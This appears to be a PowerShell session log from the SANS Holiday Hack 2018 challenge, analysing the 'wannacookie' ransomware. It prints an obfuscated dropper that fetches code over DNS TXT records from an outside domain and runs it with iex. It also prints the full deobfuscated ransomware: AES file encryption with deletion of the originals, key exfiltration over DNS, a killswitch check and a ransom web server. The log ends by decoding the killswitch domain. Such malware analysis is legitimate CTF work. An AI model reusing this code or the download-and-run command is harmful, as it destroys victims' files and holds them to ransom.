PS C:\Users\admin> sal a New-Object; Write-Output (a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()
function H2A($a) {$o; $a -split '(..)' | ? { $_ }  | forEach {[char]([convert]::toint16($_,16))} | forEach {$o = $o + $_}; return $o}; $f = "77616E6E61636F6F6B69652E6D696E2E707331"; $h = ""; foreach ($i in 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1)) {$h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings}; iex($(H2A $h | Out-string))

PS E:\sans-christmas-challenge-2018> function H2A($a) {$o; $a -split '(..)' | ? { $_ }  | forEach {[char]([convert]::toint16($_,16))} | forEach {$o = $o + $_}; return $o}; $f = "77616E6E61636F6F6B69652E6D696E2E707331"; $h = ""; foreach ($iin 0..([convert]::ToInt32((Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).strings, 10)-1)){$h += (Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).strings}; $(H2A $h | Out-string)
$functions = {function e_d_file($key, $File, $enc_it) {[byte[]]$key = $key;$Suffix = "`.wannacookie";[System.Reflection.Assembly]::LoadWithPartialName('System.Security.Cryptography');[System.Int32]$KeySize = $key.Length*8;$AESP = New-Object 'System.Security.Cryptography.AesManaged';$AESP.Mode = [System.Security.Cryptography.CipherMode]::CBC;$AESP.BlockSize = 128;$AESP.KeySize = $KeySize;$AESP.Key = $key;$FileSR = New-Object System.IO.FileStream($File, [System.IO.FileMode]::Open);if ($enc_it) {$DestFile = $File + $Suffix} else {$DestF[snip]

$functions = {
    function e_d_file($key, $File, $enc_it) {
        [byte[]]$key = $key;
        $Suffix = "`.wannacookie";
        [System.Reflection.Assembly]::LoadWithPartialName('System.Security.Cryptography');
        [System.Int32]$KeySize = $key.Length*8;
        $AESP = New-Object 'System.Security.Cryptography.AesManaged';
        $AESP.Mode = [System.Security.Cryptography.CipherMode]::CBC;
        $AESP.BlockSize = 128;
        $AESP.KeySize = $KeySize;
        $AESP.Key = $key;
        $FileSR = New-Object System.IO.FileStream($File, [System.IO.FileMode]::Open);
        if ($enc_it) {
            $DestFile = $File + $Suffix
        } else {
            $DestFile = ($File -replace $Suffix)
        };
        $FileSW = New-Object System.IO.FileStream($DestFile, [System.IO.FileMode]::Create);
        if ($enc_it) {
            $AESP.GenerateIV();
            $FileSW.Write([System.BitConverter]::GetBytes($AESP.IV.Length), 0, 4);
            $FileSW.Write($AESP.IV, 0, $AESP.IV.Length);
            $Transform = $AESP.CreateEncryptor()
        } else {
            [Byte[]]$LenIV = New-Object Byte[] 4;
            $FileSR.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null;
            $FileSR.Read($LenIV,  0, 3) | Out-Null;
            [Int]$LIV = [System.BitConverter]::ToInt32($LenIV,  0);
            [Byte[]]$IV = New-Object Byte[] $LIV;
            $FileSR.Seek(4, [System.IO.SeekOrigin]::Begin) | Out-Null;
            $FileSR.Read($IV, 0, $LIV) | Out-Null;
            $AESP.IV = $IV;
            $Transform = $AESP.CreateDecryptor()
        };
        $CryptoS = New-Object System.Security.Cryptography.CryptoStream($FileSW, $Transform, [System.Security.Cryptography.CryptoStreamMode]::Write);
        [Int]$Count = 0;
        [Int]$BlockSzBts = $AESP.BlockSize / 8;
        [Byte[]]$Data = New-Object Byte[] $BlockSzBts;
        Do {
            $Count = $FileSR.Read($Data, 0, $BlockSzBts);
            $CryptoS.Write($Data, 0, $Count)
        } While ($Count -gt 0);
        $CryptoS.FlushFinalBlock();
        $CryptoS.Close();
        $FileSR.Close();
        $FileSW.Close();
        Clear-variable -Name "key";
        Remove-Item $File
    }
};
function H2B {
    param($HX);
    $HX = $HX -split '(..)' | ? {
        $_
    };
    ForEach ($value in $HX){
        [Convert]::ToInt32($value,16)
    }
};
function A2H(){
    Param($a);
    $c = '';
    $b = $a.ToCharArray();
    ;
    Foreach ($element in $b) {
        $c = $c + " " + [System.String]::Format("{0:X}", [System.Convert]::ToUInt32($element))
    };
    return $c -replace ' '
};
function H2A() {
    Param($a);
    $outa;
    $a -split '(..)' | ? {
        $_
    }  | forEach {
        [char]([convert]::toint16($_,16))
    } | forEach {
        $outa = $outa + $_
    };
    return $outa
};
function B2H {
    param($DEC);
    $tmp = '';
    ForEach ($value in $DEC){
        $a = "{0:x}" -f [Int]$value;
        if ($a.length -eq 1){
            $tmp += '0' + $a
        } else {
            $tmp += $a
        }
    };
    return $tmp
};
function ti_rox {
    param($b1, $b2);
    $b1 = $(H2B $b1);
    $b2 = $(H2B $b2);
    $cont = New-Object Byte[] $b1.count;
    if ($b1.count -eq $b2.count) {
        for($i=0;
                $i -lt $b1.count ;
                $i++) {
            $cont[$i] = $b1[$i] -bxor $b2[$i]
        }
    };
    return $cont
};
function B2G {
    param([byte[]]$Data);
    Process {
        $out = [System.IO.MemoryStream]::new();
        $gStream = New-Object System.IO.Compression.GzipStream $out, ([IO.Compression.CompressionMode]::Compress);
        $gStream.Write($Data, 0, $Data.Length);
        $gStream.Close();
        return $out.ToArray()
    }
};
function G2B {
    param([byte[]]$Data);
    Process {
        $SrcData = New-Object System.IO.MemoryStream( , $Data );
        $output = New-Object System.IO.MemoryStream;
        $gStream = New-Object System.IO.Compression.GzipStream $SrcData, ([IO.Compression.CompressionMode]::Decompress);
        $gStream.CopyTo( $output );
        $gStream.Close();
        $SrcData.Close();
        [byte[]] $byteArr = $output.ToArray();
        return $byteArr
    }
};
function sh1([String] $String) {
    $SB = New-Object System.Text.StringBuilder;
    [System.Security.Cryptography.HashAlgorithm]::Create("SHA1").ComputeHash([System.Text.Encoding]::UTF8.GetBytes($String))|%{
        [Void]$SB.Append($_.ToString("x2"))
    };
    $SB.ToString()
};
function p_k_e($key_bytes, [byte[]]$pub_bytes){
    $cert = New-Object -TypeName System.Security.Cryptography.X509Certificates.X509Certificate2;
    $cert.Import($pub_bytes);
    $encKey = $cert.PublicKey.Key.Encrypt($key_bytes, $true);
    return $(B2H $encKey)
};
function e_n_d {
    param($key, $allfiles, $make_cookie );
    $tcount = 12;
    for ( $file=0;
            $file -lt $allfiles.length;
            $file++  ) {
        while ($true) {
            $running = @(Get-Job | Where-Object {
                    $_.State -eq 'Running'
                    });
            if ($running.Count -le $tcount) {
                Start-Job  -ScriptBlock {
                    param($key, $File, $true_false);
                    try{
                        e_d_file $key $File $true_false
                    } catch {
                        $_.Exception.Message | Out-String | Out-File $($env:userprofile+'\Desktop\ps_log.txt') -append
                    }
                } -args $key, $allfiles[$file], $make_cookie -InitializationScript $functions;
                break
            } else {
                Start-Sleep -m 200;
                continue
            }
        }
    }
};
function g_o_dns($f) {
    $h = '';
    foreach ($i in 0..([convert]::ToInt32($(Resolve-DnsName -Server erohetfanu.com -Name "$f.erohetfanu.com" -Type TXT).Strings, 10)-1)) {
        $h += $(Resolve-DnsName -Server erohetfanu.com -Name "$i.$f.erohetfanu.com" -Type TXT).Strings
    };
    return (H2A $h)
};
function s_2_c($astring, $size=32) {
    $new_arr = @();
    $chunk_index=0;
    foreach($i in 1..$($astring.length / $size)) {
        $new_arr += @($astring.substring($chunk_index,$size));
        $chunk_index += $size
    };
    return $new_arr
};
function snd_k($enc_k) {
    $chunks = (s_2_c $enc_k );
    foreach ($j in $chunks) {
        if ($chunks.IndexOf($j) -eq 0) {
            $n_c_id = $(Resolve-DnsName -Server erohetfanu.com -Name "$j.6B6579666F72626F746964.erohetfanu.com" -Type TXT).Strings
        } else {
            $(Resolve-DnsName -Server erohetfanu.com -Name "$n_c_id.$j.6B6579666F72626F746964.erohetfanu.com" -Type TXT).Strings
        }
    };
    return $n_c_id
};
function wanc {
    $S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000";
    if ($null -ne ((Resolve-DnsName -Name $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings))).ToString() -ErrorAction 0 -Server 8.8.8.8))) {
        return
    };
    if ($(netstat -ano | Select-String "127.0.0.1:8080").length -ne 0 -or (Get-WmiObject Win32_ComputerSystem).Domain -ne "KRINGLECASTLE") {
        return
    };
    $p_k = [System.Convert]::FromBase64String($(g_o_dns("7365727665722E637274") ) );
    $b_k = ([System.Text.Encoding]::Unicode.GetBytes($(([char[]]([char]01..[char]255) + ([char[]]([char]01..[char]255)) + 0..9 | sort {
                        Get-Random
                        })[0..15] -join ''))  | ? {
            $_ -ne 0x00
            });
    $h_k = $(B2H $b_k);
    $k_h = $(sh1 $h_k);
    $p_k_e_k = (p_k_e $b_k $p_k).ToString();
    $c_id = (snd_k $p_k_e_k);
    $d_t = (($(Get-Date).ToUniversalTime() | Out-String) -replace "`r`n");
    [array]$f_c = $(Get-ChildItem *.elfdb -Exclude *.wannacookie -Path $($($env:userprofile+'\Desktop'),$($env:userprofile+'\Documents'),$($env:userprofile+'\Videos'),$($env:userprofile+'\Pictures'),$($env:userprofile+'\Music')) -Recurse | where {
            ! $_.PSIsContainer
            } | Foreach-Object {
            $_.Fullname
            });
    e_n_d $b_k $f_c $true;
    Clear-variable -Name "h_k";
    Clear-variable -Name "b_k";
    $lurl = 'http://127.0.0.1:8080/';
    $html_c = @{
        'GET /'  =  $(g_o_dns (A2H "source.min.html"));
        'GET /close'  =  '<p>Bye!</p>'
    };
    Start-Job -ScriptBlock{
        param($url);
        Start-Sleep 10;
        Add-type -AssemblyName System.Windows.Forms;
        start-process "$url" -WindowStyle Maximized;
        Start-sleep 2;
        [System.Windows.Forms.SendKeys]::SendWait("{F11}")
    } -Arg $lurl;
    $list = New-Object System.Net.HttpListener;
    $list.Prefixes.Add($lurl);
    $list.Start();
    try {
        $close = $false;
        while ($list.IsListening) {
            $context = $list.GetContext();
            $Req = $context.Request;
            $Resp = $context.Response;
            $recvd = '{0} {1}' -f $Req.httpmethod, $Req.url.localpath;
            if ($recvd -eq 'GET /') {
                $html = $html_c[$recvd]
            } elseif ($recvd -eq 'GET /decrypt') {
                $akey = $Req.QueryString.Item("key");
                if ($k_h -eq $(sh1 $akey)) {
                    $akey = $(H2B $akey);
                    [array]$f_c = $(Get-ChildItem -Path $($env:userprofile) -Recurse  -Filter *.wannacookie | where {
                            ! $_.PSIsContainer
                            } | Foreach-Object {
                            $_.Fullname
                            });
                    e_n_d $akey $f_c $false;
                    $html = "Files have been decrypted!";
                    $close = $true
                } else {
                    $html = "Invalid Key!"
                }
            } elseif ($recvd -eq 'GET /close') {
                $close = $true;
                $html = $html_c[$recvd]
            } elseif ($recvd -eq 'GET /cookie_is_paid') {
                $c_n_k = $(Resolve-DnsName -Server erohetfanu.com -Name ("$c_id.72616e736f6d697370616964.erohetfanu.com".trim()) -Type TXT).Strings;
                if ( $c_n_k.length -eq 32 ) {
                    $html = $c_n_k
                } else {
                    $html = "UNPAID|$c_id|$d_t"
                }
            } else {
                $Resp.statuscode = 404;
                $html = '<h1>404 Not Found</h1>'
            };
            $buffer = [Text.Encoding]::UTF8.GetBytes($html);
            $Resp.ContentLength64 = $buffer.length;
            $Resp.OutputStream.Write($buffer, 0, $buffer.length);
            $Resp.Close();
            if ($close) {
                $list.Stop();
                return
            }
        }
    } finally {
        $list.Stop()
    }
};
wanc;

function wanc {
    $S1 = "1f8b080000000000040093e76762129765e2e1e6640f6361e7e202000cdd5c5c10000000";
    if ($null -ne ((Resolve-DnsName -Name $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings))).ToString() -ErrorAction 0 -Server 8.8.8.8))) {
        return
    };
    if ($(netstat -ano | Select-String "127.0.0.1:8080").length -ne 0 -or (Get-WmiObject Win32_ComputerSystem).Domain -ne "KRINGLECASTLE") {
        return
    };
[snip]

PS C:\> $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings)))
yippeekiyaa.aaay